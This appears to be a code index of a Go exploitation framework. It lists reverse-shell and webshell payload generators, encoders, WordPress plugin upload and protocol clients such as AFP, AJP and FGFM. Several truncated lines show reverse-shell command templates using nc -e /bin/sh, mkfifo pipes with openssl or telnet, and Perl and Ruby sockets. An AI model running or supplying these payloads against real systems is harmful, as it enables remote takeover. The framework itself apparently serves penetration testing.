  method Default (line 26) | func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) ...

FILE: payload/reverse/js.go
  method NodeJS (line 17) | func (js *JavascriptPayload) NodeJS(lhost string, lport int) string {
  method SecureNodeJS (line 22) | func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string {

FILE: payload/reverse/netcat.go
  constant NetcatDefault (line 10) | NetcatDefault = NetcatGaping
  constant NetcatGaping (line 11) | NetcatGaping  = `nc %s %d -e /bin/sh`
  constant NetcatMknod (line 12) | NetcatMknod   = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%...
  method Default (line 15) | func (nc *NetcatPayload) Default(lhost string, lport int) string {
  method Gaping (line 20) | func (nc *NetcatPayload) Gaping(lhost string, lport int) string {
  method Mknod (line 25) | func (nc *NetcatPayload) Mknod(lhost string, lport int) string {

FILE: payload/reverse/openssl.go
  constant OpenSSLDefault (line 10) | OpenSSLDefault = OpenSSLMknod
  constant OpenSSLMknod (line 11) | OpenSSLMknod   = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | openssl s_clien...
  constant OpenSSLMkfifo (line 12) | OpenSSLMkfifo  = `cd /tmp; mkfifo %s; sh -i < %s 2>&1 | openssl s_client...
  method Default (line 15) | func (openssl *OpenSSLPayload) Default(lhost string, lport int) string {
  method Mknod (line 19) | func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string {
  method Mkfifo (line 25) | func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string {

FILE: payload/reverse/perl.go
  constant PerlDefault (line 8) | PerlDefault    = PerlSocket
  constant PerlSocket (line 9) | PerlSocket     = `perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOC...
  constant PerlFork (line 10) | PerlFork       = `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::I...
  constant PerlNonBlocking (line 11) | PerlNonBlocking = `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"%s:%d...
  method Default (line 14) | func (perl *PerlPayload) Default(lhost string, lport int) string {
  method Socket (line 19) | func (perl *PerlPayload) Socket(lhost string, lport int) string {
  method Fork (line 24) | func (perl *PerlPayload) Fork(lhost string, lport int) string {
  method NonBlocking (line 29) | func (perl *PerlPayload) NonBlocking(lhost string, lport int) string {

FILE: payload/reverse/php.go
  method Default (line 19) | func (php *PHPPayload) Default(lhost string, lport int) string {
  method LinuxInteractive (line 24) | func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
  method Unflattened (line 33) | func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bo...
  method UnflattenedSelfDelete (line 44) | func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, en...

FILE: payload/reverse/php/unflattened.php
  function dataTransfer (line 2) | function dataTransfer($input, $output) {
  function windowsDataTransfer (line 7) | function windowsDataTransfer($input, $output) {

FILE: payload/reverse/php/unflattened_self_delete.php
  class Del (line 2) | class Del {
    method __destruct (line 3) | function __destruct() {
  function dataTransfer (line 10) | function dataTransfer($input, $output) {
  function windowsDataTransfer (line 15) | function windowsDataTransfer($input, $output) {

FILE: payload/reverse/python.go
  method Default (line 19) | func (py *PythonPayload) Default(lhost string, lport int) string {
  method Python27 (line 24) | func (py *PythonPayload) Python27(lhost string, lport int) string {
  method SecurePython27 (line 29) | func (py *PythonPayload) SecurePython27(lhost string, lport int) string {
  method SecurePython312 (line 36) | func (py *PythonPayload) SecurePython312(lhost string, lport int) string {

FILE: payload/reverse/reverse.go
  type Reverse (line 22) | type Reverse interface
  type Default (line 26) | type Default interface
  type BashPayload (line 30) | type BashPayload struct
  type GJScriptPayload (line 31) | type GJScriptPayload struct
  type JJSScriptPayload (line 32) | type JJSScriptPayload struct
  type JavascriptPayload (line 33) | type JavascriptPayload struct
  type JavaPayload (line 34) | type JavaPayload struct
  type NetcatPayload (line 35) | type NetcatPayload struct
  type OpenSSLPayload (line 36) | type OpenSSLPayload struct
  type PHPPayload (line 37) | type PHPPayload struct
  type PythonPayload (line 38) | type PythonPayload struct
  type TelnetPayload (line 39) | type TelnetPayload struct
  type GroovyPayload (line 40) | type GroovyPayload struct
  type PerlPayload (line 41) | type PerlPayload struct
  type RubyPayload (line 42) | type RubyPayload struct
  type VBSHTTPPayload (line 43) | type VBSHTTPPayload struct

FILE: payload/reverse/reverse_test.go
  function ExampleBashPayload_Default (line 11) | func ExampleBashPayload_Default() {
  function TestBashDefault (line 17) | func TestBashDefault(t *testing.T) {
  function TestBashHTTPShellLoop (line 27) | func TestBashHTTPShellLoop(t *testing.T) {
  function TestNetcatGaping (line 43) | func TestNetcatGaping(t *testing.T) {
  function TestNetcatMknod (line 53) | func TestNetcatMknod(t *testing.T) {
  function TestTelnetMknod (line 62) | func TestTelnetMknod(t *testing.T) {
  function TestTelnetMkfifo (line 84) | func TestTelnetMkfifo(t *testing.T) {
  function TestOpenSSLMknod (line 103) | func TestOpenSSLMknod(t *testing.T) {
  function TestOpenSSLMkfifo (line 120) | func TestOpenSSLMkfifo(t *testing.T) {
  function TestPHPLinuxInteractive (line 137) | func TestPHPLinuxInteractive(t *testing.T) {
  function TestPHPUnflattened (line 144) | func TestPHPUnflattened(t *testing.T) {
  function TestPHPUnflattenedSelfDelete (line 156) | func TestPHPUnflattenedSelfDelete(t *testing.T) {
  function TestGroovyClassic (line 174) | func TestGroovyClassic(t *testing.T) {
  function TestNodeJS (line 187) | func TestNodeJS(t *testing.T) {
  function TestPython312 (line 234) | func TestPython312(t *testing.T) {
  function assertContains (line 260) | func assertContains(t *testing.T, payload string, substrs ...string) {
  function TestPerlSocket (line 269) | func TestPerlSocket(t *testing.T) {
  function TestPerlFork (line 274) | func TestPerlFork(t *testing.T) {
  function TestPerlNonBlocking (line 279) | func TestPerlNonBlocking(t *testing.T) {
  function TestRubySocket (line 284) | func TestRubySocket(t *testing.T) {
  function TestRubyFork (line 289) | func TestRubyFork(t *testing.T) {

FILE: payload/reverse/ruby.go
  constant RubyDefault (line 8) | RubyDefault = RubySocket
  constant RubySocket (line 9) | RubySocket  = `ruby -rsocket -e'f=TCPSocket.open("%s",%d).to_i;exec spri...
  constant RubyFork (line 10) | RubyFork    = `ruby -rsocket -e'exit if fork;c=TCPSocket.new("%s",%d);lo...
  method Default (line 13) | func (ruby *RubyPayload) Default(lhost string, lport int) string {
  method Socket (line 18) | func (ruby *RubyPayload) Socket(lhost string, lport int) string {
  method Fork (line 23) | func (ruby *RubyPayload) Fork(lhost string, lport int) string {

FILE: payload/reverse/telnet.go
  constant TelnetDefault (line 10) | TelnetDefault       = TelnetMknod
  constant TelnetMknod (line 11) | TelnetMknod         = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:...
  constant TelnetMknodNoColon (line 12) | TelnetMknodNoColon  = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s ...
  constant TelnetMkfifo (line 13) | TelnetMkfifo        = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; ...
  constant TelnetMkfifoNoColon (line 14) | TelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; ...
  method Default (line 17) | func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool...
  method Mknod (line 21) | func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) ...
  method Mkfifo (line 31) | func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool)...

FILE: payload/reverse/vbs.go
  method Default (line 13) | func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, au...

FILE: payload/webshell/aspx.go
  constant aspxTemplate (line 9) | aspxTemplate = `<%@ Page Language="C#" %><%` +
  method MinimalGet (line 19) | func (aspx *ASPXWebshell) MinimalGet() (string, string) {

FILE: payload/webshell/bash.go
  method MinimalGet (line 5) | func (bash *BashWebshell) MinimalGet() string {

FILE: payload/webshell/jsp.go
  method GetKeyed (line 17) | func (jsp *JSPWebshell) GetKeyed(key string) string {
  method GetKeyedMinimal (line 24) | func (jsp *JSPWebshell) GetKeyedMinimal(key string) string {

FILE: payload/webshell/php.go
  method MinimalGet (line 13) | func (php *PHPWebshell) MinimalGet() (string, string) {

FILE: payload/webshell/webshell.go
  type Dropper (line 6) | type Dropper interface
  type ASPXWebshell (line 9) | type ASPXWebshell struct
  type JSPWebshell (line 10) | type JSPWebshell struct
  type PHPWebshell (line 11) | type PHPWebshell struct
  type BashWebshell (line 12) | type BashWebshell struct

FILE: payload/webshell/webshell_test.go
  function TestVerySmallHTTPGET (line 10) | func TestVerySmallHTTPGET(t *testing.T) {
  function TestJSPWebshell (line 23) | func TestJSPWebshell(t *testing.T) {
  function TestJSPWebshellMinimal (line 41) | func TestJSPWebshellMinimal(t *testing.T) {
  function TestBashWebshellMinimal (line 53) | func TestBashWebshellMinimal(t *testing.T) {
  function TestASPXWebshellMinimalGet (line 66) | func TestASPXWebshellMinimalGet(t *testing.T) {

FILE: payload/wrapper.go
  function Base64EncodeForBash (line 84) | func Base64EncodeForBash(cmd string) string {
  function Base64EncodeForGroovyEval (line 91) | func Base64EncodeForGroovyEval(cmd string) string {
  function Base64EncodeForPHPEval (line 98) | func Base64EncodeForPHPEval(cmd string) string {
  function PHPIconvFilter (line 106) | func PHPIconvFilter(chain string) string {

FILE: payload/wrapper_test.go
  function TestBase64EncodeForBash (line 9) | func TestBase64EncodeForBash(t *testing.T) {
  function TestBase64EncodeForGroovyEval (line 19) | func TestBase64EncodeForGroovyEval(t *testing.T) {
  function TestBase64EncodeFoPHPEval (line 29) | func TestBase64EncodeFoPHPEval(t *testing.T) {
  function TestPHPIconvFilter (line 39) | func TestPHPIconvFilter(t *testing.T) {

FILE: product/asus/asus.go
  function RouterAuthenticate (line 15) | func RouterAuthenticate(conf *config.Config, origin string, username str...

FILE: product/wordpress/plugins.go
  function getPluginNonce (line 35) | func getPluginNonce(conf *config.Config, cookies []*http.Cookie, path st...
  function GeneratePlugin (line 62) | func GeneratePlugin(payload, name string) (string, []byte, bool) {
  function UploadPlugin (line 105) | func UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byt...

FILE: product/wordpress/wordpress.go
  function Login (line 19) | func Login(conf *config.Config, username, password string) ([]*http.Cook...

FILE: protocol/afp/afp.go
  constant DSICloseSession (line 15) | DSICloseSession                    = byte(0x1)
  constant DSICommand (line 16) | DSICommand                         = byte(0x2)
  constant DSIGetStatus (line 17) | DSIGetStatus                       = byte(0x3)
  constant DSIOpenSession (line 18) | DSIOpenSession                     = byte(0x4)
  constant DSITickle (line 19) | DSITickle                          = byte(0x5)
  constant DSIWrite (line 20) | DSIWrite                           = byte(0x6)
  constant DSIAttention (line 21) | DSIAttention                       = byte(0x8)
  constant AFPByteLock (line 22) | AFPByteLock                        = 0x01
  constant AFPCloseVol (line 23) | AFPCloseVol                        = 0x02
  constant AFPCloseDir (line 24) | AFPCloseDir                        = 0x03
  constant AFPCloseFork (line 25) | AFPCloseFork                       = 0x04
  constant AFPCopyFile (line 26) | AFPCopyFile                        = 0x05
  constant AFPCreateDir (line 27) | AFPCreateDir                       = 0x06
  constant AFPCreateFile (line 28) | AFPCreateFile                      = 0x07
  constant AFPDelete (line 29) | AFPDelete                          = 0x08
  constant AFPEnumerate (line 30) | AFPEnumerate                       = 0x09
  constant AFPFlush (line 31) | AFPFlush                           = 0x0a
  constant AFPFlushFork (line 32) | AFPFlushFork                       = 0x0b
  constant AFPGetForkParams (line 33) | AFPGetForkParams                   = 0x0e
  constant AFPGetSrvrInfo (line 34) | AFPGetSrvrInfo                     = 0x0f
  constant AFPGetSrvrParams (line 35) | AFPGetSrvrParams                   = 0x10
  constant AFPGetVolParams (line 36) | AFPGetVolParams                    = 0x11
  constant AFPLogin (line 37) | AFPLogin                           = 0x12
  constant AFPLoginCont (line 38) | AFPLoginCont                       = 0x13
  constant AFPLogout (line 39) | AFPLogout                          = 0x14
  constant AFPMapID (line 40) | AFPMapID                           = 0x15
  constant AFPMapName (line 41) | AFPMapName                         = 0x16
  constant AFPMoveAndRename (line 42) | AFPMoveAndRename                   = 0x17
  constant AFPOpenVol (line 43) | AFPOpenVol                         = 0x18
  constant AFPOpenDir (line 44) | AFPOpenDir                         = 0x19
  constant AFPOpenFork (line 45) | AFPOpenFork                        = 0x1a
  constant AFPRead (line 46) | AFPRead                            = 0x1b
  constant AFPRename (line 47) | AFPRename                          = 0x1c
  constant AFPSetDirParams (line 48) | AFPSetDirParams                    = 0x1d
  constant AFPSetFileParams (line 49) | AFPSetFileParams                   = 0x1e
  constant AFPSetForkParams (line 50) | AFPSetForkParams                   = 0x1f
  constant AFPSetVolParams (line 51) | AFPSetVolParams                    = 0x20
  constant AFPWrite (line 52) | AFPWrite                           = 0x21
  constant AFPGetFileDirParams (line 53) | AFPGetFileDirParams                = 0x22
  constant AFPSetFileDirParams (line 54) | AFPSetFileDirParams                = 0x23
  constant AFPChangePW (line 55) | AFPChangePW                        = 0x24
  constant AFPGetUserInfo (line 56) | AFPGetUserInfo                     = 0x25
  constant AFPGetSrvrMesg (line 57) | AFPGetSrvrMesg                     = 0x26
  constant AFPCreateID (line 58) | AFPCreateID                        = 0x27
  constant AFPDeleteID (line 59) | AFPDeleteID                        = 0x28
  constant AFPResolveID (line 60) | AFPResolveID                       = 0x29
  constant AFPExchangeFiles (line 61) | AFPExchangeFiles                   = 0x2a
  constant AFPCatSearch (line 62) | AFPCatSearch                       = 0x2b
  constant AFPOpenDT (line 63) | AFPOpenDT                          = 0x30
  constant AFPCloseDT (line 64) | AFPCloseDT                         = 0x31
  constant AFPGetIcon (line 65) | AFPGetIcon                         = 0x33
  constant AFPGetIconInfo (line 66) | AFPGetIconInfo                     = 0x34
  constant AFPAddAppl (line 67) | AFPAddAppl                         = 0x35
  constant AFPRmvAppl (line 68) | AFPRmvAppl                         = 0x36
  constant AFPGetAppl (line 69) | AFPGetAppl                         = 0x37
  constant AFPAddComment (line 70) | AFPAddComment                      = 0x38
  constant AFPRmvComment (line 71) | AFPRmvComment                      = 0x39
  constant AFPGetComment (line 72) | AFPGetComment                      = 0x3a
  constant AFPReadExt (line 73) | AFPReadExt                         = 0x3c
  constant AFPWriteExt (line 74) | AFPWriteExt                        = 0x3d
  constant AFPGetExtAttr (line 75) | AFPGetExtAttr                      = 0x45
  constant AFPSetExtAttr (line 76) | AFPSetExtAttr                      = 0x46
  constant VolBitmapAttributes (line 77) | VolBitmapAttributes                = 0x1
  constant VolBitmapSignature (line 78) | VolBitmapSignature                 = 0x2
  constant VolBitmapCreationDate (line 79) | VolBitmapCreationDate              = 0x4
  constant VolBitmapModificationDate (line 80) | VolBitmapModificationDate          = 0x8
  constant VolBitmapBackupDate (line 81) | VolBitmapBackupDate                = 0x10
  constant VolBitmapID (line 82) | VolBitmapID                        = 0x20
  constant VolBitmapBytesFree (line 83) | VolBitmapBytesFree                 = 0x40
  constant VolBitmapBytesTotal (line 84) | VolBitmapBytesTotal                = 0x80
  constant VolBitmapName (line 85) | VolBitmapName                      = 0x100
  constant VolBitmapExtendedBytesFree (line 86) | VolBitmapExtendedBytesFree         = 0x200
  constant VolBitmapExtendedBytesTotal (line 87) | VolBitmapExtendedBytesTotal        = 0x400
  constant VolBitmapBlockSize (line 88) | VolBitmapBlockSize                 = 0x800
  constant FileBitmapAttributes (line 89) | FileBitmapAttributes               = 0x1
  constant FileBitmapParentDirID (line 90) | FileBitmapParentDirID              = 0x2
  constant FileBitmapCreationDate (line 91) | FileBitmapCreationDate             = 0x4
  constant FileBitmapModificationDate (line 92) | FileBitmapModificationDate         = 0x8
  constant FileBitmapBackupDate (line 93) | FileBitmapBackupDate               = 0x10
  constant FileBitmapFinderInfo (line 94) | FileBitmapFinderInfo               = 0x20
  constant FileBitmapLongName (line 95) | FileBitmapLongName                 = 0x40
  constant FileBitmapShortName (line 96) | FileBitmapShortName                = 0x80
  constant FileBitmapNodeID (line 97) | FileBitmapNodeID                   = 0x100
  constant FileBitmapDataForkSize (line 98) | FileBitmapDataForkSize             = 0x200
  constant FileBitmapResourceForkSize (line 99) | FileBitmapResourceForkSize         = 0x400
  constant FileBitmapExtendedDataForkSize (line 100) | FileBitmapExtendedDataForkSize     = 0x800
  constant FileBitmapLaunchLimit (line 101) | FileBitmapLaunchLimit              = 0x1000
  constant FileBitmapUTF8Name (line 102) | FileBitmapUTF8Name                 = 0x2000
  constant FileBitmapExtendedResourceForkSize (line 103) | FileBitmapExtendedResourceForkSize = 0x4000
  constant FileBitmapUnixPrivileges (line 104) | FileBitmapUnixPrivileges           = 0x8000
  constant FileBitmapALL (line 105) | FileBitmapALL                      = 0xFFFF
  constant DirBitmapAttributes (line 106) | DirBitmapAttributes                = 0x1
  constant DirBitmapParentDirID (line 107) | DirBitmapParentDirID               = 0x0
  constant DirBitmapCreationDate (line 108) | DirBitmapCreationDate              = 0x4
  constant DirBitmapModificationDate (line 109) | DirBitmapModificationDate          = 0x8
  constant DirBitmapBackupDate (line 110) | DirBitmapBackupDate                = 0x10
  constant DirBitmapFinderInfo (line 111) | DirBitmapFinderInfo                = 0x20
  constant DirBitmapLongName (line 112) | DirBitmapLongName                  = 0x40
  constant DirBitmapShortName (line 113) | DirBitmapShortName                 = 0x80
  constant DirBitmapNodeID (line 114) | DirBitmapNodeID                    = 0x100
  constant DirBitmapOffspringCount (line 115) | DirBitmapOffspringCount            = 0x200
  constant DirBitmapOwnerID (line 116) | DirBitmapOwnerID                   = 0x400
  constant DirBitmapGroupID (line 117) | DirBitmapGroupID                   = 0x800
  constant DirBitmapAccessRights (line 118) | DirBitmapAccessRights              = 0x1000
  constant DirBitmapUTF8Name (line 119) | DirBitmapUTF8Name                  = 0x2000
  constant DirBitmapUnixPrivileges (line 120) | DirBitmapUnixPrivileges            = 0x8000
  constant DirBitmapALL (line 121) | DirBitmapALL                       = 0xBFFF
  constant AccessModeRead (line 122) | AccessModeRead                     = 0x1
  constant AccessModeWrite (line 123) | AccessModeWrite                    = 0x2
  constant AccessModeDenyRead (line 124) | AccessModeDenyRead                 = 0x10
  constant AccessModeDenyWrite (line 125) | AccessModeDenyWrite                = 0x20
  type Header (line 128) | type Header struct
    method Encode (line 143) | func (d *Header) Encode() []byte {
  type FPPacket (line 137) | type FPPacket struct
  function Decode (line 155) | func Decode(data []byte) (FPPacket, bool) {
  function Connect (line 174) | func Connect(host string, port int, ssl bool) (net.Conn, bool) {
  function GetServerStatus (line 194) | func GetServerStatus(host string, port int, ssl bool) (*FPPacket, bool) {
  function OpenSession (line 230) | func OpenSession(conn net.Conn) bool {
  function Disconnect (line 254) | func Disconnect(conn net.Conn) bool {
  function ReadPacket (line 267) | func ReadPacket(conn net.Conn) (*FPPacket, bool) {
  function CreateFPPacket (line 296) | func CreateFPPacket(command byte, payload []byte) FPPacket {
  function WritePacket (line 310) | func WritePacket(conn net.Conn, packet FPPacket) bool {
  function AnonymousLogin (line 320) | func AnonymousLogin(conn net.Conn) bool {
  function Logout (line 345) | func Logout(conn net.Conn) bool {
  function OpenVolume (line 366) | func OpenVolume(conn net.Conn, bitmap uint16, volumeName []byte) (uint16...
  function WalkRootDir (line 404) | func WalkRootDir(conn net.Conn, path string) (uint16, uint32, bool) {
  function CreateFile (line 421) | func CreateFile(conn net.Conn, volumeID uint16, dirID uint32, fileName s...
  function OpenFork (line 458) | func OpenFork(conn net.Conn, flag byte, volumeID uint16, dirID uint32, b...
  function CloseFork (line 507) | func CloseFork(conn net.Conn, forkID uint16) bool {
  function FlushFork (line 531) | func FlushFork(conn net.Conn, forkID uint16) bool {
  function SetForkParams (line 554) | func SetForkParams(conn net.Conn, forkID uint16, bitmap uint16, size uin...
  function GetForkParams (line 583) | func GetForkParams(conn net.Conn, forkID uint16, bitmap uint16) (*FPPack...
  function ReadExt (line 609) | func ReadExt(conn net.Conn, forkID uint16, offset uint64, count uint64) ...
  function WriteExt (line 639) | func WriteExt(conn net.Conn, forkID uint16, fdata []byte) bool {
  function MoveAndRenameFile (line 677) | func MoveAndRenameFile(conn net.Conn, srcVolID uint16, srcDirID uint32, ...
  function AddAppl (line 731) | func AddAppl(conn net.Conn, volID uint16, dirID uint32, creator [4]byte,...
  function GetAppl (line 768) | func GetAppl(conn net.Conn, volID uint16, creator [4]byte, aIndex uint16...
  function SetFilParams (line 801) | func SetFilParams(conn net.Conn, volID uint16, dirID uint32, bitmap uint...
  function Delete (line 834) | func Delete(conn net.Conn, volumeID uint16, dirID uint32, path string) b...
  function ReadFile (line 871) | func ReadFile(conn net.Conn, path string, forkFlag byte) ([]byte, bool) {
  function WriteNewFile (line 913) | func WriteNewFile(conn net.Conn, path string, fdata []byte, withFork boo...
  function WriteFile (line 955) | func WriteFile(conn net.Conn, path string, fdata []byte, withFork bool) ...
  function DeleteFile (line 986) | func DeleteFile(conn net.Conn, path string) bool {
  function RenameFileHelper (line 1003) | func RenameFileHelper(conn net.Conn, srcPath string, dstPath string, dst...

FILE: protocol/ajp/ajp.go
  type method (line 34) | type method
  constant OPTIONS (line 37) | OPTIONS method = 1
  constant GET (line 38) | GET     method = 2
  constant HEAD (line 39) | HEAD    method = 3
  constant POST (line 40) | POST    method = 4
  constant PUT (line 41) | PUT     method = 5
  constant DELETE (line 42) | DELETE  method = 6
  type reqType (line 45) | type reqType
  constant FORWARD (line 48) | FORWARD  reqType = 2
  constant SHUTDOWN (line 49) | SHUTDOWN reqType = 7
  constant PING (line 50) | PING     reqType = 8
  constant CPING (line 51) | CPING    reqType = 10
  type respType (line 54) | type respType
  constant SENDBODYCHUNK (line 57) | SENDBODYCHUNK respType = 3
  constant SENDHEADERS (line 58) | SENDHEADERS   respType = 4
  constant ENDRESPONSE (line 59) | ENDRESPONSE   respType = 5
  type definedHeaders (line 62) | type definedHeaders
  constant ACCEPT (line 65) | ACCEPT         definedHeaders = 0xa001
  constant ACCEPTCHARSET (line 66) | ACCEPTCHARSET  definedHeaders = 0xa002
  constant ACCEPTENCODING (line 67) | ACCEPTENCODING definedHeaders = 0xa003
  constant ACCEPTLANGUAGE (line 68) | ACCEPTLANGUAGE definedHeaders = 0xa004
  constant AUTHORIZATION (line 69) | AUTHORIZATION  definedHeaders = 0xa005
  constant CONNECTION (line 70) | CONNECTION     definedHeaders = 0xa006
  constant CONTENTTYPE (line 71) | CONTENTTYPE    definedHeaders = 0xa007
  constant CONTENTLENGTH (line 72) | CONTENTLENGTH  definedHeaders = 0xa008
  constant COOKIE (line 73) | COOKIE         definedHeaders = 0xa009
  constant COOKIE2 (line 74) | COOKIE2        definedHeaders = 0xa00a
  constant HOST (line 75) | HOST           definedHeaders = 0xa00b
  constant PRAGMA (line 76) | PRAGMA         definedHeaders = 0xa00c
  constant REFERER (line 77) | REFERER        definedHeaders = 0xa00d
  constant USERAGENT (line 78) | USERAGENT      definedHeaders = 0xa00e
  type ForwardRequest (line 82) | type ForwardRequest struct
  function createForwardRequest (line 97) | func createForwardRequest(host string, port int, ssl bool, uri string, h...
  function setGetForwardRequest (line 120) | func setGetForwardRequest(request *ForwardRequest) {
  function appendString (line 127) | func appendString(serialized *[]byte, value string) {
  function appendBool (line 140) | func appendBool(serialized *[]byte, value bool) {
  function appendInt (line 151) | func appendInt(serialized *[]byte, value int) {
  function serializeForwardRequest (line 158) | func serializeForwardRequest(request ForwardRequest) []byte {
  function checkRecvMagic (line 208) | func checkRecvMagic(conn net.Conn) bool {
  function readResponse (line 218) | func readResponse(conn net.Conn) (string, bool) {
  function readRequestResponse (line 246) | func readRequestResponse(conn net.Conn) (int, string, bool) {
  function SendAndRecv (line 288) | func SendAndRecv(host string, port int, ssl bool, uri string, verb strin...

FILE: protocol/ajp/ajp_test.go
  function TestStructCreation (line 10) | func TestStructCreation(t *testing.T) {
  function TestStructSerialize (line 37) | func TestStructSerialize(t *testing.T) {

FILE: protocol/dotnetremoting/dotnetremoting.go
  type Message (line 37) | type Message struct
    method WritePreamble (line 105) | func (msg *Message) WritePreamble(uri string, opType OperationType, da...
    method WriteDefaultPreamble (line 126) | func (msg *Message) WriteDefaultPreamble(uri string, opType OperationT...
    method GetMessage (line 133) | func (msg *Message) GetMessage(data string) string {
    method AddCustomHeader (line 138) | func (msg *Message) AddCustomHeader(headerName string, headerValue str...
    method AddURIHeader (line 145) | func (msg *Message) AddURIHeader(uri string, headerToken HeaderToken) {
    method AddContentTypeHeader (line 152) | func (msg *Message) AddContentTypeHeader(contentType string) {
    method AddStatusPhraseHeader (line 158) | func (msg *Message) AddStatusPhraseHeader(statusPhrase string) { // un...
    method AddCloseConnectionHeader (line 163) | func (msg *Message) AddCloseConnectionHeader() { // untested
    method AddStatusCodeHeader (line 168) | func (msg *Message) AddStatusCodeHeader(isError bool) { // untested
  type MessageResponse (line 43) | type MessageResponse struct
    method Dump (line 179) | func (msg *MessageResponse) Dump() {
  type OperationType (line 53) | type OperationType
  constant OperationTypeRequest (line 56) | OperationTypeRequest       OperationType = "\x00\x00"
  constant OperationTypeOneWayRequest (line 57) | OperationTypeOneWayRequest OperationType = "\x01\x00"
  constant OperationTypeReply (line 58) | OperationTypeReply         OperationType = "\x02\x00"
  type HeaderToken (line 61) | type HeaderToken
  constant HeaderTokenEndHeaders (line 64) | HeaderTokenEndHeaders      HeaderToken = "\x00\x00"
  constant HeaderTokenCustom (line 65) | HeaderTokenCustom          HeaderToken = "\x01\x00"
  constant HeaderTokenStatusCode (line 66) | HeaderTokenStatusCode      HeaderToken = "\x02\x00"
  constant HeaderTokenStatusPhrase (line 67) | HeaderTokenStatusPhrase    HeaderToken = "\x03\x00"
  constant HeaderTokenRequestURI (line 68) | HeaderTokenRequestURI      HeaderToken = "\x04\x00"
  constant HeaderTokenCloseConnection (line 69) | HeaderTokenCloseConnection HeaderToken = "\x05\x00"
  constant HeaderTokenContentType (line 70) | HeaderTokenContentType     HeaderToken = "\x06\x00"
  type HeaderDataFormat (line 73) | type HeaderDataFormat
  constant HeaderDataFormatVoid (line 76) | HeaderDataFormatVoid          HeaderDataFormat = "\x00"
  constant HeaderDataFormatCountedString (line 77) | HeaderDataFormatCountedString HeaderDataFormat = "\x01"
  constant HeaderDataFormatByte (line 78) | HeaderDataFormatByte          HeaderDataFormat = "\x02"
  constant HeaderDataFormatUint16 (line 79) | HeaderDataFormatUint16        HeaderDataFormat = "\x03"
  constant HeaderDataFormatInt32 (line 80) | HeaderDataFormatInt32         HeaderDataFormat = "\x04"
  type ContentDistribution (line 83) | type ContentDistribution
  constant ContentDistributionNotChunked (line 86) | ContentDistributionNotChunked ContentDistribution = "\x00\x00"
  constant ContentDistributionChunked (line 87) | ContentDistributionChunked    ContentDistribution = "\x01\x00"
  type StringEncoding (line 90) | type StringEncoding
  constant StringEncodingUnicode (line 93) | StringEncodingUnicode StringEncoding = "\x00"
  constant StringEncodingUtf8 (line 94) | StringEncodingUtf8    StringEncoding = "\x01"
  type TCPStatusCode (line 97) | type TCPStatusCode
  constant TCPStatusCodeSuccess (line 100) | TCPStatusCodeSuccess TCPStatusCode = "\x00"
  constant TCPStatusCodeError (line 101) | TCPStatusCodeError   TCPStatusCode = "\x01"
  function ParseResponseFromConn (line 196) | func ParseResponseFromConn(conn net.Conn) (MessageResponse, bool) {
  function readHeadersFromConn (line 281) | func readHeadersFromConn(conn net.Conn) (map[string]string, bool) {
  function readHeaderStringFromConn (line 383) | func readHeaderStringFromConn(conn net.Conn) (string, bool) {
  function readNBytes (line 411) | func readNBytes(conn net.Conn, n int) (string, bool) {
  function addCountedString (line 435) | func addCountedString(msg *string, encodingType StringEncoding, stringVa...

FILE: protocol/fortinet/fgfm.go
  function SendFGFMMessage (line 19) | func SendFGFMMessage(conn net.Conn, payload string) bool {
  function ReadFGFMMessage (line 35) | func ReadFGFMMessage(conn net.Conn) ([]byte, bool) {
  function Connect (line 66) | func Connect(host string, port int, ssl bool, cert []byte, key []byte) (...

FILE: protocol/httphelper.go
  function GenerateURL (line 34) | func GenerateURL(rhost string, rport int, ssl bool, uri string) string {
  function BuildURI (line 57) | func BuildURI(paths ...string) string {
  function BasicAuth (line 75) | func BasicAuth(username, password string) string {
  function parseCookies (line 79) | func parseCookies(headers []string) string {
  function ParseCookies (line 90) | func ParseCookies(resp *http.Response) string {
  function DoRawHTTPRequest (line 95) | func DoRawHTTPRequest(rhost string, rport int, uri string, verb string) ...
  function cacheResponse (line 127) | func cacheResponse(req *http.Request, resp *http.Response) {
  function cacheLookup (line 148) | func cacheLookup(uri string) (*http.Response, string, bool) {
  function DoRequest (line 195) | func DoRequest(client *http.Client, req *http.Request) (*http.Response, ...
  function CookieString (line 216) | func CookieString(cookies []*http.Cookie) string {
  function CreateRequestParams (line 230) | func CreateRequestParams(params map[string]string) string {
  function CreateRequestParamsEncoded (line 243) | func CreateRequestParamsEncoded(params map[string]string) string {
  function SetRequestHeaders (line 254) | func SetRequestHeaders(req *http.Request, headers map[string]string) {
  function CreateRequest (line 267) | func CreateRequest(verb string, url string, payload string, followRedire...
  function HTTPSendAndRecv (line 318) | func HTTPSendAndRecv(verb string, url string, payload string) (*http.Res...
  function HTTPGetCache (line 328) | func HTTPGetCache(url string) (*http.Response, string, bool) {
  function HTTPSendAndRecvNoRedirect (line 363) | func HTTPSendAndRecvNoRedirect(verb string, url string, payload string) ...
  function HTTPSendAndRecvURLEncoded (line 381) | func HTTPSendAndRecvURLEncoded(verb string, url string, params map[strin...
  function HTTPSendAndRecvURLEncodedParams (line 397) | func HTTPSendAndRecvURLEncodedParams(verb string, url string, params map...
  function HTTPSendAndRecvURLEncodedAndHeaders (line 413) | func HTTPSendAndRecvURLEncodedAndHeaders(verb string, url string, params...
  function HTTPSendAndRecvURLEncodedParamsAndHeaders (line 433) | func HTTPSendAndRecvURLEncodedParamsAndHeaders(verb string, url string, ...
